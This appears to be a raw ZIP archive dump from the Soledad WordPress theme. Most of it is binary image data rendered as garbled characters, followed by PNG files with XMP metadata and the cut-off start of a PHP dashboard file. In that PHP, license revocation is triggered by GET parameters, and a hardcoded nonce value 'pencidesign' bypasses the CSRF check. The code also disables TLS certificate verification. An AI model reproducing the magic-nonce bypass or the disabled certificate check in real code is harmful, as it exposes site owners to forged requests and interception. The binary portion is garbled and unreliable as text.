2P݉_Ϯ?hwdv	T~ؒHm{䏟9VLSW%cz3Зznn|i#s;K,ZHR[ CU_=y0&Fo- w;g>}p%5mO>t{'D.$H!F¬U@Tbdhn]<c)K<,Qe>/xVxY$SˆxLy6MN&$ ?4 + T ;?K"j}:A΄^D%Hf$#MKChr$3^DbK```!r$6	.#L\.F7.#L\
f
r4낙)-f$
fu 9>&
pS0[Ip9f$Hf$ė#MM%Hf$KȐIur$6	.
l\D%Hl^D%``Hl^D%$6	/ C`pSh_+o?rڏ Z?#r Y[ >,g?CAsr}%7yɚzǔysS}Ė@5!qɨ[{7~o5;BnW2 cpݯdH3?<==~]w~_k3yg*wVwv
A䎬*?#}(qO{  L.1?/-e_HFFƬƊNhMAKs/Vw{[$I0+$  nI9ae m<,dԔj~p,- MV%Ǐ*Uxmje?G?_4H_OϹ>W)kj"L{+£PRY:Պ.X.?7;Gxm+w8lr$kȐ$8 on > #!/C6#{'WB [ܿ~ǳd>kzIx9Ȑ$6D'_󆿞\y#׼|{#"*A84Mb"=pGQGuݧ>]+~aN׭Z8aAq4+Ċ6S->X0|ÐN<O5_'y\o/a_R(Y	Ԫ$s@N<Ød_B 5 9j:J&	)%̠`G2jA;Uݩho3wyhƆ</ڟ/w~H-4//i_	ZBqF*Ƥٝ$Ա'|riH"2O,l zO6c&;8\UX99=Y#ǻ=g	RͰͯ9~cy>t= .9.e>U(@ΟPY+@~ HM &mg^;3zQ^ ??o`uO9mNOx.CQ\)D!Ix9!I}pIiIp9/"C`r$3]\6	7\$3\
f$3p9f$&낙.#L\
f
r4@E.ŗ9#L\
f
i-lli+ȐIp8)iI%Hf$KȐIur4$r$6	/"C`r$6	/"C`Hl\!Ix9n Ͽd9mhs?R+ 5 39o4p [a/6{yIxlO 'v-'V}[W~j]h6l~ ״ôaG2ͿJ~Ϡy˱@aǙHYo,Ad90dqOo'&/-mmq(fr;T4rGPI-~ѧ}+31qو ՗|~$>[ӥ5vtfdJKWFOnk:ΣcU׵յ;RpIŘxc _\KdHm^ C`r$6	?Nۿ;έj̀_9䦅 }A_f/PS?Cg!Ip9DȐ$6@'t\֯Ϙ4p/ecW{5P%sݦca:?eǸau<,Gp[rqQԾ[o%5d::R(*mYɐ-jssݩLwr?vb./~y;_4)yftCZC#՞IĻv$/<3]&\3)nKrrϗ ^@Eu{v%CFUq Fm'5^97c e=go8b&A~!߉.FD$.& 6{E3h/	H/ klhzr{v˚Ox/`ҐKȐ$r4$KȐ$K%C`r$3^D%Hf$#MM6	/"C1%ir4Lėd[3p8)+@3V 9>``2p9f
r4)uMK0W."C1%Hf$
l\F!r$6	."C1%)Ip9!Ix9%Ȑ$Oߦ󐖿<㽷qK~W :k gŞqh.Q;q!	.Kdl~Ͼ<&3GG6'FZ{d=&t mIjw~@?3K<~xż&o &[eKxgk:^=D|ea#OP(#MK!IxlOٮ 0N8OmGZuz_}d?CҚz9IplJ$6	/ C``iI; >{yϞFcjl:͔LvYlKk{Ypkueݳ8gHsswo!&ك̾}E6JAjĦdIЀsw|,lg?0>9r zCՉ.!IP6D'a} f8?h ƿ{xޣ^ ? wv3r{v^Ox/0s!ꄗȐ$ėW"Ch%Hl^@%Hl]"C`r$3\D%Hf$
l\F!pIp9f$
lli+[}wO@\i+L\
d
r43n)Ip9f
r4Hf$IvFKȐIp9!u`r$6	/"C`r$6	.Fo Ͼ m TY{p?heٲw |Y Ɩ~_IC^D&Ȑ$|K~qϜ+ygR PJ=1"w&KN)>oH,'Lִ}}?Xo56U ˎXa.`}ڃoȯ~c_%EX"g$_ ?[TCb$KdHl^"C`r6?O'~o > q9M fZ_}c %C8I=(8Ip9D!IxlJ$6	> )O t!mN2(h=Ţ ]~g: 9%1:<u֨zy0!O#+KsOaY gP86ls"C`Hm~ ou 5 _Gy^7?K¿Fov6ˏNOx.Q~9K!IplKdHl^D%Ȑ$KȐ$KȐ$l\D%!r$6	.F.``%i+ȐIx9fx7\Iv s]\v
d$p3p8)-@2p9f
`f$$Hf$ėW#Lě
l\D%Hf$ėW#MK!Ix9p Ͼ!m TY{t?hif|?r Yc>,Of?KAwze:S	.!IxlKh" N֤ *e{} խH]:yl}9u _x~r S ﳹOţRjCBO@ֿ5|!hc<s1gV8њM(7#0{CY	f(>%?p< 8u:vm=0/r3N2O@)N亿i&`:_\)XS~Q?3*,ѿ.|5{:%ͩWn%*WZ7Cr}A/]ow'glH}k~o > ہD $t,
5~ K,f|%$6	*$kȐ$Wq F~Y UӮI  xkJgug<v3MGF6( ic̺ho桝݋;Ԓw$:zɰr$6/!IxlO_f<oGy7?K↚gv6>ʏFOx.`7gTCщ/!Ix9l\D%$6	/ C`r$6	.F%Hl^@%`uMKȐ$ė!Iur4I%Hf$KL\F\OsnH+-2ĝ\Y2p8)+ Wf$bM^DbKȐ$)u`p$ė!iIHm} >5  {SQg [O]d//?g?͏c <뿸Cˉ.D%Hm^D'??> uK?l?O'?C t?_	 ǿryC  _gc' \}asi}q 8Gʿ^Xmjh`ދiw)'!9ktĉ|??~;DGwVKAup9!{h!Qyijz^O>a@Mf='PP }'}lM~䎃 A_fؿPl$KdHm^"C`r$6	> =r?b5]!#<~pGzS a6yg~}c lIx95$6?h#n'?Ͷyߵc/?ڦ|?ƚgv6>FOx.wb?7Aΰ~$KdHm^ C`r$6	."Ch!Ix9lnl^D%Hl^D%`r$6	."C`r$3^DbM&둦%!r$3]\}~Uं)--@-i-3IbK0W."C1%ix)Ip9!r$6	/"C1'_h{_?q^ ^?1 T  r 7ϋ<o^_<DIp9%C`po YX x?!'# ~ryC  _ge 0 51~| b)4 o 9E:GEikWeOo<&Z휖yǊ$Wȃ_j{Ŀ7?2;m.<$s3_*g ӜMMkٽ葆;d#e˛fȄ?Qg~p > ='	{GDCA SW쿨~d6zT!Ip9D!IxlOdjLc/\oJ??5<˳Ʊ^?xpCp+NIxlKdl^D'/H˯	3ksOˤ#y~ k l{$=}hKqIx9W"ChDȐ$K!Ip9D!Ix9W"C`pS`r6	/"C`r$6	.MM!Ix9!r$3]#MK?}~UثULn) @3f`@#L\
d
r4@uMK0W!r$3]\IvFKȐI/ DZ =~.GU-6 3/[4[yes
x%Hl\DbKȐ$   eg?ujeGz? B;?` \5{I~{%Ȑ$O 0N<3Ln ?  cc PW٩#v_?|[`sMp9Ȑ$6@%`ã Y#d?Q eh}~_rJ/O5<Ʊ^?xhlr$6."Chfw_f<ڿQU7ow* U ٳGB_9$6D%Hm\D%$6*$K!IxlKȐ$K!Ir$6	/"C`r$6	.D%`r$6	/"C1%Hl_\Ig}~UثWb낙r,]\Yě@#L\
d
pS0W@
f,ė`ė!iuMOއ& SEGl?׏w~ 9m  loywߠ?i OrAϠxa%ȐI!Ip9' g?ujGz | ?#4P'0 SYGs\$6/!IxlKȐ$I g Ca/y׷ N|޻{WP;A Q?~jMGTC$M!IxlKdl}9 8rk 9%e 1.A0 [?|[?l 9?Pj>| xmg	*$6D%Hl~  䊺 P ꏼa ?4*U ٳ<z2r{<Г\HvK!Ip9DȐ$6@%hr$6/!IxlK`r4$Kdl^FW#MK`!Ix9/"C`iI!Ix9!푦|O}~UثWb]\Sm#Lup$S0[Wf
r4`#L\
f
ix6
lx9."C0W!M8 aK| |cr Yk>,e?SAz BBKȐIx9W#MOp_ Y 3U	5r=eGSOo' m u|?r5{I~yIx9D%Hm^"C`3}k~q > 8 |_ſGh? i ,r5~(C$6D%@W"C`Hm}; 8n$ ,#Q esӏ/ %*_׏@sۈm]\KdHlT!IY 8 ku F &-s} yq5x/{;_ l{e#@5gfC^"C`r$6."C`DȐ$KhD$K!Ip9D!IxlK!IiIx9D!r$6	.`r$6	.)}~UثWb]v*pRA]\끐-@-3p8)+ W3IbK0WbO'* SE7GΟ~OhϘ   3t?/WZ޳iB-?JxPY4fǇ$b%;zӄb,?[ ?_O=voc L?[ÍN_" p 7]<至#aS/^??y_O"}H~CC SȮ?g< p D ) cCdEs 8q0GqtK/kSjI!{{ĺ̑a0sƽbvL%DHz˄?y|_ 9U͟+~K2vc5)8v5`+ #:aOK9̚$\1w]2dbH̾_g| p W:\? > 7_O"{ K:~} nDg  L.oOϯn MS  cMY7&?^`i?F_>~ɺǔTF]9[9mDfE^\yiң8/n5}Tp9#:2 ;?(y?-^i"]]2	gz+"Buө7UM@pd2 ^! 8 	 3Onh?:'JoϏn Mё\0lWϏn Mё= W`1ϸ h< p"{oA 8 Ϳ	 2'? LeqWcoߟߗ -ǡ|}o}>5/#U0']͠yc)'͋O+M,5-CʺͶanylfHF ;NΜa)q$?=y7_F{	? q -?s 4dOlա6	. z G\ ?5q -?s 4d4_ L@n #<7uڇS;OԠ{i,$ %HyߵybX$8FRӔ| ? 4*U ٻ,z2[ƭv9KȐ$6D%6	/"ChiIplJ6	/"Ch`Hl^"Ch!Iup$Kdl^D%Ȑ$$KȐIx9`|O}~UثWb]v*UVۮ
duL]\v
du낙3upS W`2M#Lğr Ͻn  x_.ꕒWT^wb3 I \K7! _oY 'OȾZ?] |V?%xw>??%xw>??%xw>??%zifV> ~K  X3i/{gG jOx{L u  X3i/w>??%3 G 5cCߦt  |) 4;gH jOx{Lu  XSi/w#>?
?%3G 5cO;Ƒ W[?Տ>[1G 5cOÿLu  XS?% LifV>mW\?tV
}kƑ W[?Շq+Liu  X<)Ƒ WK?Տ>W~?g # ~JO]-?|V>_˫koaQc1HOuM3.$C--M[\6v9"Kdm^D%Hm^"C`DW C`p$6@%@W#MKȐ$6D%6	/#MM"Chr$6	/!Ix9W"C``Hm^D%#L}~UثWb]v*UثVuLY [Ii+`#L]\I```#Lė/"C1%`uLė!Ix9."C`iI%Hl^@%Hf$m\
l^@%$6	.D%iIxlKdHl^D%hDȐ$K!Ix9$KȐ&6D%@D!Ip9D!IxlKdm^F!IxlKdHl\B%6	/!Ip9W#MK?}~UثWb]v*UثWb[)둦@@@
fuL\
d
r4@F7`!i+ȐIx97#MKȐIp9/"C`%Hl\D%Hl^DbK!Ip9!IxlK!Ip9D$6D%Hm\D%$6/!Ix9!IxlKdHl^@%Hm\"C`D!Iur4$6D%$6/"C`r$6	."Ch!Ix9D!IplKȐ$gų}~UثWb]v*UثWb]n) 
duS [낙i*9QF9>ąHS=693Z
d
 
#),mɲ3Z(噸EJx ,~49H"lFFITG!XĤ"Hlgmaknt/0jV/}P{XE1c(?f{kٽ )f" Н]V@$^ϒ?6&kv?/4+Qէ?D$ժEFj&T39i1Px#Szv$%GAĕP4]UEI>d͂Oؿ_<Wy_zߙf.ŜvYU)ܰjxy/	*$=Qظ,Rn4,~q~hy{B]?FѼѪZivIH`E5M

轏yXrLܥ{:mH(@F8rr#Ӧllp9bJG,QH@XlͶ2Z󅿚~Aߝ5c 3]uGO{(TӆbdWfZ|qxOk{7uYq5;]y.o}Kn<b_H82LoZ(@M:TηG,0B9MDq[25ɌGy8M\hsf$6	/!I\G/mVW@&&%!IxlKdHl\F!IxlJ$6	.F%6/!Ix9!IxlKdm^D&!IxlKdHl^@%Chr$6	/l}~UثWb]v*UثWb]v*q[n)- WW ]	7\~0yK^u`hbk#hpg!k"z
'۳)O! ڌs~GO#
 ̍"ATO}!ycɏGH<]֙럔6:ߪii5X <&H'-N3}㬔'2'{ؿ:zktzQZ_Ws({{عu[5v%ԍбM{C>fG2A_Zx/h;2:u?N?-?,kM5|5o:SDܐH(#
>{CaÀ#],}>$٘;?#{ץ\i_G^^尋_KY/,E$M<QM u;'*3YN9<6H y{'jb$T>]_3k	 9? Bc_%ơi-Jӟ^#\g?Lnr^ѫQ 8 8"4 h0j2@i&h#v58@G-CDqeޮdDyu>oy	ٸ5?ȿǯ;<"N9ڷߤ!mn:	R`87PNh?gv>`O8zq>D|.íc*G_#cpqG󶱭u!XbP/{w"54U=_h'zx2]s>e?=;@4 s򗘿,<5ƍ$Q~Xi6UR#[r`]?|Ӱ;G458KܾvMUVIvM2Mi5+;5iaW VcVmZS Viag|w1[~ Qi:f 9ht34i+AMà;fr/f͓ggI@CS0xMC"16m7L\]ʰ	ހmLA'L"9OC ?_)iQӢ|;۩Z!UPh?cz6n`#?ΞL!g5={CzjV)R*2U0ۦiu<Lxt?{9<P6KO_)-3뚿!4V=(@"G__},Eǟ~Ǘ~j~p w/.o%#"E+LhdD<{\0̓@OE,4QAoW</3iyCGם<g.(}Ny܉J(# -Z^gŨ,ĞT{j<NBP9"(?ƭ{r̲<Ky@?OTl[v3V5?y+y}R5Z$_b | \t-Gi2MwuM褳BG9dVK?hIL	d#]Й EB 4ga})7\Dbj#ä!bIEfwQ6bx%.%ߘ-:<rC<;}cig&sj=vV%c qV5̿ojK`ó 0'"4O>~[YGɺ'5b+ vwe}qJ'7tvQ2v>=DY%}dG37L=/}SͿ?v{U=#M̨Bcȫ|Rw5VXHd#^B>N9 a 8y+zϒ4-;͞\:昨$|eIEK+[1f$G8˥|v#Qo??6.ri:򷻿XiC
HB
1ѷvM 	ᔅBiq?4$&l	6 *7.j3=7.|Wys8|=_ _4O>t*yK-OCR-EPʟWBtB*vMle1X=Lyo;Ό>;ė%$6*Ȑ$KȐ&KdHm^ C`r$6"C`D$KȐ$6D%@!Ip8m^ C`&둦|O}~UثWb]v*UثWb]v*Uثu6pRA]\ [
d'  U 5g3v/IN /{zO=7͚<q
Z7"F7b~SR3+}v"MqH½;yoSWCoso殅_</ @;ۏ1]BCW -	s-8?'.6MFAC-^NC]&.W$g77I;Ym;+Iaՙ<SDKB*yX}2@xᱴA^Y`5/c<cO*c_M,}&kKvU>xyOmnF˩1˜ڇsC>` Ϟ\ MekQyڵ7:<ڼq @Ȣ>P]lˉi < ~^oǗlp<R~gN~k 
O1_} |q3p 8^#c } 1w݅#~[};z֮ⰽ[_ybiX"se֠ t7z?y3`ũļG$Hі_G;̞lgNMFnCz7JsHQ-v3qcpoq։;.r	TCևD} (?v. gꟽcxsrrGl?}G;dՃ?y= i y~sS\vUIvm{CK>L7\q1q,q6?- 9_CXY *OeIHsf6*,=:R\e A_A%嗒(M>]M_g@3qHU=8cE@YUiglezFnyԒNbt _փg 9a?7yOV傥׫yf=H $ '=#n.ǋXNDc*7],O֭KkȚ殕ǪϨyCGkl4-pq:; w*z9i"kk
6zyia,)+O̭#_t~El3NӮu:X}j MQ4Aqˌ@F8 9 X6\Zx$H	w8dh|3 8[SG^]ҵ8u7\")X\aQJ0bj~id$*@_'guvFvqD[ڼ 8?8y ?-EnC~V8($^`pi@3};7'e,;>'g^oo}/KAqKV٠qjL * tc\.^yM<K}_Ssjl|8 \w,& * 2O_ΟI<w]6;i{wʭ$'aʭ@	ዔ#	Wx4a1|#} 9 8 /0y{l򮯣YvۭW6I,*i"W:C;|X#|Wq41|/9[GYI+sqogIAj(*sY,$e́-ӈ2A9ϻ!u_7 ׵O +znE4k޹k@qc/|K䇕9 nO QsF=Ő8BKdHl^@%Hl\"Ch!Ip9DȐ$6@%Hl]\kdHmT!Ix9!Mp9$Kᑦ%Hm^"C`[di}~UثWb]v*UثWb]v*UثWbu _7OFЃBC>r6 /{1   u' 9 9-s~R;"tVG(4{b#A_q2 K"G=<) oYii+ƥ'Π O|ލqI>w,v^Y-8Ze
BH\c;F":b`r(Cxc/'  QpI L c  v_ 1OK|C͗o><z8|><v΀VߕǅUҿ]|{X5o[#370 8<IèZAkVa4wbܚ;Kٸ=4A6y}-~m\r?󐿜~EFuO<RՌm>%tiuoIz{AGQHzbU~qBdD6<O5LAqtt5VV *ͼ.$fA.rr*wKn[vXuo_YsGf@7׆ |?c[՜~h̓~Wvg~M\j?>iͮB`a/MNqn,EH	ڝ!-#pA5i;C6U| k:֫-[QuB}WY$+2K<ұgwcԒs;aǌ"iYNFR6J\L=sg ׺K,WVM!ؿծRXʠ4:.ѣw.v3 ȮH {naEkd:?խ(Hwah?|O~_3e?hfy"GwOy9'^N  .o?mZ"gmZj&]#d
yPsYfjrO<$eu'w .4QxjVvVVFx$Dlj0hQ*I2:$g5c)l|x˿2inf6-jRGVRAVtXux,0)	DOO&s+ԏi~b;_Q~{vן}}F1IvӁՒP,q);9vvE]}5nf:շ'-U0\F̀ʉq i@>v#\b,y7`|څ}yWs_:\\;I,JGbK31$jNga PcIX ,ӿ>2<Ec^BYhcc_9cbF2* ?k<'L'CG29D#_k$/ۿ}S 9c~SJyHԾo8i>_֟3kMN (وˊ`3g2kѐHJG`|NwofyW[Nִ y@ӵ PX=^<=hI(Heikg.ck.xDռ=WRSMi5^%կ>|.Uw&<8jwWrd~y~inAZ~`^HW㷎5yۛ$n#&\,^S\%!IxlKdHl\D%Hm^"C`#MK!IxlKdl^F!IplJ$6	/ C``Hm^"Ch!Ip8m]l6q?}~UثWb]v*UثWb]v*UثWb]7~Po,yV<R'3(IxrOQEZSغ-Nxˊ2D^|Ìȁk*qn
fx8)+ Wi-f$pS`r4Hf$ė7%!Ix9."C`r$3o#MKȐ$ o~e~WI|C?ICjc^"^DvV[^>1>Vjϙ<O9jkׯǬ\ Zq1PI
BHQSE.ŧ(t,)rd$Ȑ$KȐ$KȐ$"C`r6."C`r$6/!IxlKhr$6/!IxlKȐ$Kdm^"C`Hm]\KdHm^ C`i}~UثWb]v*UثWb]v*UثWb]n\끐+.끘+Ll2p8)+0WEpS1%`"C`r4Iur4I%Hl\DbKȐIur4$)Ip9!Ix9W#MK`!Ix9l\FDȐ$6D%Hl]\6	/!IxlKȐ$D!IxlJl]\KȐ$6D%6	/"Chr$6.F?}~UثWb]v*UثWb]v*UثWb]v*U	]l`d`d."..¹aŶ0W"."Y¹7lW`^+,ŮȖb׊[lWlW K`K`krxDTȖm[EȖj-x@]mW"[EȖkr%ZmخDTkr%ZlخD^+-׊K`"-n PK     0w\RľA  A    dashboard/images/logo.pngnu [        PNG

   IHDR   P   P      tEXtSoftware Adobe ImageReadyqe<  xiTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90" xmpMM:DocumentID="xmp.did:839CF504008911E6A09CB6A5191CF9F4" xmpMM:InstanceID="xmp.iid:839CF503008911E6A09CB6A5191CF9F4" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:798b30b9-59d5-4638-8d32-4f714ac13a90" stRef:documentID="xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>G  _IDATx	pTUO7!!}_؃S(N(%!Ią}Hdg
1 
%Sc5@ؒ;k%/اN}~l!H2?5uIYsVI T+?7/)?@vٙYԪ*}Y}Edh
~>"sQF𔗚!^xp+vaAY*Jx }{OQ"40HBEyYP1b: yuᅄ3:0<SK4ر!$dSm%ǝ[<c1!! 潝ku<(̕/>\%ǈ3ɞF^%پ}{jtǎXX6y,vCG6FKrroIS5'	uɋk4tM6m͉ڵkGOޫ(>11^0?-Ã`#_WC.T]dC9iYW[SC.l5{ZDt)r
999IKLHJLcVM0γT׉>";3S*pC>./8`
ѧM!SvmInQx[bN Ϟ	/gAXRxgsט%dY2xyٲγzhփnxCN+fy?̈́YiDsʹj γ*F/ 7}wԃCܫr`>!ޱ#]TP03M7kTSS#1
aCmح_%>=Ng~.JXڹ#
	hm=xB&NׯS۶meg+girG!+/?/N ++;ɸx̟-Ə'V+Ξ=kua,pnI{#+(.ÆY.)z>./kZuiF~z`{wns?<dcKԳgOٙ&O|%bKL0677#M[j+xe,\Hsgϡؚ;v חccIЕ+w;v	Fpm|;yF:w,őźFFFR\8\^P2̰ۢf|~p_E~n8QvӧLq\K#G9txOlٴbn+xl5bћo ?('0]cDrbꫯ]̙S'Mn;|7g޹oRv{A\x	411*5ڵkz|=86~ƌTӧk_7I9%^?A\\8ņ}kt@~'oQAe4Zv-yzy:QnA>-{guj?2*J[|,o#}m\l(+8{ӻOuda/ŉП4џ59!0ʺ\D[7oBܙ'LJfuޝML'O$///ڽk|*\V,}#?#mXN&ԧJM*촆3R6i??@l4tLΝkU؅C[~M)l'ݯ_?|YZcVﯿn^*}r0de}'K(H@]vа0-\qwh\ϊM;FY',"JvηS'*youT_&wwiɶ[iؐ/phC
Fr\_M>vM>F-٫W]xʫ4+)I. QAQ6???*but))r>ImM--HєIWH)"=3TkJHL4ZAD@A(N#Gk[|Mzi,hʚիg
qܐ}?RK	en<?b׉'pçO#)Rw3>bmپW'fKta6ݺI*ëE1M<(=i󖖿O(uG& WX@+JVʕMcMQi-"0#9 "F#-J"x6ue-Ғ$ ^g~I&E&j	/*:6lH#Gjڦ*6҇kP#p_@|zw{doXӣ~<@
&^7C`'wh׭PSEk"n\MvoVϫM<e	jEֹkwJJNxZs	ŋefK5Sb|TW<,}Nppg E038WG(3'h12q ]tI8 W.&:t|Pf\dK3t1Kg5
/A!7>[liJ,E3<^s xł:ڨ0KwG*Ϥ@ww],hlh-QhԘц]Bh%(]VbZcX4E މA,ZX֡5]q[ W^7Ņ:7ro=riOq۱0@hLKrON i4w'h6}:9|D&l h=[cZ: Z<x#SfϡHWǝTYIɜ>y. M4c!-ݍ(Fw ߊOɋMJgE?wmHvnO@D
P\nmkLe5VivhC![n7td?"J{b݅"==hv\YV#hD|}U|ZA*w,N ǀҽ"ZrC     bK9z𬆹=EP1sr2ÍrJ/
~c3h?~f@7}5(eedtFP=<>bLB0&拽l-#_2#e_EMtxDxG|  5G8t[QThmsWލFe3 kd kR g_ +W-eK    IENDB`PK     0w\?>  >    dashboard/images/icon.pngnu [        PNG

   IHDR         ;֕J   	pHYs       ;diTXtXML:com.adobe.xmp     <?xpacket begin="﻿" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:OriginalDocumentID>xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90</xmpMM:OriginalDocumentID>
         <xmpMM:DocumentID>xmp.did:839CF504008911E6A09CB6A5191CF9F4</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:2710a897-8d02-cc4c-a32e-b86ca0737902</xmpMM:InstanceID>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:798b30b9-59d5-4638-8d32-4f714ac13a90</stRef:instanceID>
            <stRef:documentID>xmp.did:798b30b9-59d5-4638-8d32-4f714ac13a90</stRef:documentID>
         </xmpMM:DerivedFrom>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:81aa6b7b-6b8f-0f4d-ac4e-072e6f4db0ad</stEvt:instanceID>
                  <stEvt:when>2017-11-08T15:19:16+07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2017 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:2710a897-8d02-cc4c-a32e-b86ca0737902</stEvt:instanceID>
                  <stEvt:when>2017-11-08T15:20:57+07:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2017 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmp:CreatorTool>Adobe Photoshop CC 2017 (Windows)</xmp:CreatorTool>
         <xmp:CreateDate>2017-11-08T15:18:48+07:00</xmp:CreateDate>
         <xmp:ModifyDate>2017-11-08T15:20:57+07:00</xmp:ModifyDate>
         <xmp:MetadataDate>2017-11-08T15:20:57+07:00</xmp:MetadataDate>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>15</exif:PixelXDimension>
         <exif:PixelYDimension>15</exif:PixelYDimension>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>Am    cHRM  z%        u0  `  :  o_F  IDATxlKSǿnn;nSp[H`|)-A|AGN4{dtw`^s>_8a<.cT<A0rrj}(Szl0pʱL,Bh4oߴ7]3د800HA?J˧ϰɲ*IRSqt8PW[bzB'hqa8ʫeeDlC4u[~EFte@oVG#Qfd(j=|<9N[8֠SStwpzнAfHz{7jjHtvcUU `0 `4rץ% rtuu;c;f$0|PtXZ%pB!|5EQC<{<c톪HƑ'11>(
$Yt>8[o7B=]skY*'EQĶ>J3att, s0&ȲEjytt8C*ffWs	oC  HBdT,  yI(1~t  BUU2y=2 6I  %K`2 Igj() L{kJ[Oď67q3VCx<E3ԓWp:Pd` WJ]4    IENDB`PK     0w\?̑9  9  &  dashboard/sections/getting-started.phpnu [        <?php
/**
 * Getting started section.
 *
 * @package soledad
 */
$theme_data   = wp_get_theme();
$is_child     = false;
$parent_theme = $theme_data->parent();
if ( ! empty( $parent_theme ) ) {
	$is_child = true;
}
$revokelicense = isset( $_GET['penci_revoke_license'] ) ? $_GET['penci_revoke_license'] : '';
$license_nonce = isset( $_GET['revoke_none'] ) ? $_GET['revoke_none'] : '';

if ( ( 'confirm' == $revokelicense ) && ( ( wp_create_nonce( 'revoke_license' ) == $license_nonce ) || 'pencidesign' == $license_nonce ) ) {
	$license_data = get_option( 'penci_soledad_purchased_data' );

	if ( ! empty( $license_data ) ) {
		if ( isset( $license_data['purchase_code'] ) ) {
			$purchased_code = $license_data['purchase_code'];

			$req = wp_remote_post( 'https://license.pencidesign.net/api/revoke', array(
				'headers'     => array(
					'Content-Type' => 'application/json',
				),
				'body'        => wp_json_encode( array(
					'code' => $purchased_code
				) ),
				'data_format' => 'body',
				'sslverify'   => false
			) );

			$body = wp_remote_retrieve_body( $req );
			$res  = json_decode( $body );
			if ( ! empty( $res ) && isset( $res->status ) && $res->status === 'success' ) {
				delete_option( 'penci_soledad_is_activated' );
				delete_option( 'penci_soledad_purchased_data' );
				echo '<span style="display: inline-block; margin-bottom:15px; padding: 3px 10px; border: 1px solid #65b70e; max-width: 330px; background: #67c700; color: #fff; font-size: 16px;">' . __( 'The license for this website has been revoked.', 'soledad' ) . '</span>';
			}
		}
	}
}

if ( isset( $_GET['penci_csync'] ) && $_GET['penci_csync'] == 'parent_to_child' ) {
	global $wp_customize;

	$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';

